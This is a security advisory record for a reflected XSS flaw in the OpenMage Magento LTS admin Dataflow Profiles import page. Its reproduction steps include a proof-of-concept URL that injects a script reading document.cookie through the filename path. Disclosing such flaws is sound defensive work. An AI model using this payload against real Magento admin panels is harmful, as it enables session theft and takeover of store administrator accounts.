{"id":"GHSA-x8jv-q8j2-487c","aliases":["CVE-2026-42458"],"title":"Magento LTS: Reflected XSS - Import -> Data Flow (profiles) ","description":"A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.\n\n## Steps to produce\n\n+ Login to the admin panel \n\n+ Go to the path `System -> Import/Export -> Dataflow - Profiles`\n\n+ Select profile direction as `Import`.\n\n+ Click on `Import Customers` \n\n+ Upload the file.\n\nFile Link: [customer_20260212_204335.csv](https://github.com/user-attachments/files/25629638/customer_20260212_204335.csv)\n\n+ Go back to `Run profile`.\n\n+ Select the uploaded file and Click on `Run in Popup`.\n\n+ One can see a URL like this \n\n```\nhttps://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/\n```\n\n\n+ One can see the filename getting reflection in HTML tags.\n\n+ Inject an HTML tag and observe.\n\n```\nhttps://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/\">

hacked

/\n``` \n\n\"image\n\n+ One can see the tag is getting executed.\n\n+ Proceed for XSS.\n\n```\nhttps://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E\n```\n\n\"image\n\n\n+ There is an XSS popup.\n\n## Impact\n\nCookie stealing, JS deface, many more","severity":"medium","score":5.3,"published":"2026-05-06T20:57:37.000Z","modified":"2026-05-16T00:11:02.020Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"openmage/magento-lts","ranges":[{"events":[{"introduced":"0"},{"fixed":"20.18.0"}],"type":"ECOSYSTEM"}],"versions":["1.9.1.1","1.9.2.0","1.9.2.1","1.9.2.2","1.9.2.3","1.9.2.4","1.9.3.0","1.9.3.1","v19.4.0","v19.4.1","v19.4.10","v19.4.11","v19.4.12","v19.4.13","v19.4.14","v19.4.15","v19.4.16","v19.4.17","v19.4.18","v19.4.19","v19.4.2","v19.4.20","v19.4.21","v19.4.22","v19.4.23","v19.4.3","v19.4.4","v19.4.5","v19.4.6","v19.4.7","v19.4.8","v19.4.9","v19.5.0","v19.5.0-rc1","v19.5.0-rc2","v19.5.0-rc3","v19.5.0-rc4","v19.5.0-rc5","v19.5.1","v19.5.2","v19.5.3","v20.0.0","v20.0.1","v20.0.10","v20.0.11","v20.0.12","v20.0.13","v20.0.14","v20.0.15","v20.0.16","v20.0.17","v20.0.18","v20.0.19","v20.0.2","v20.0.20","v20.0.3","v20.0.4","v20.0.5","v20.0.6","v20.0.7","v20.0.8","v20.1.0","v20.1.0-rc1","v20.1.0-rc2","v20.1.0-rc3","v20.1.0-rc4","v20.1.0-rc5","v20.1.0-rc6","v20.1.0-rc7","v20.1.1","v20.10.0","v20.10.1","v20.10.2","v20.11.0","v20.12.0","v20.12.1","v20.12.2","v20.12.3","v20.13.0","v20.14.0","v20.15.0","v20.16.0","v20.17.0","v20.2.0","v20.3.0","v20.4.0","v20.5.0","v20.6.0","v20.7.0","v20.8.0","v20.9.0"],"fixed":["20.18.0"]}],"references":["https://github.com/OpenMage/magento-lts/security/advisories/GHSA-x8jv-q8j2-487c","https://nvd.nist.gov/vuln/detail/CVE-2026-42458","https://github.com/OpenMage/magento-lts"],"sources":[{"name":"OSV","id":"GHSA-x8jv-q8j2-487c","modified":"2026-05-16T00:11:02.020509Z","url":"https://osv.dev/vulnerability/GHSA-x8jv-q8j2-487c"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","score":5.3}]}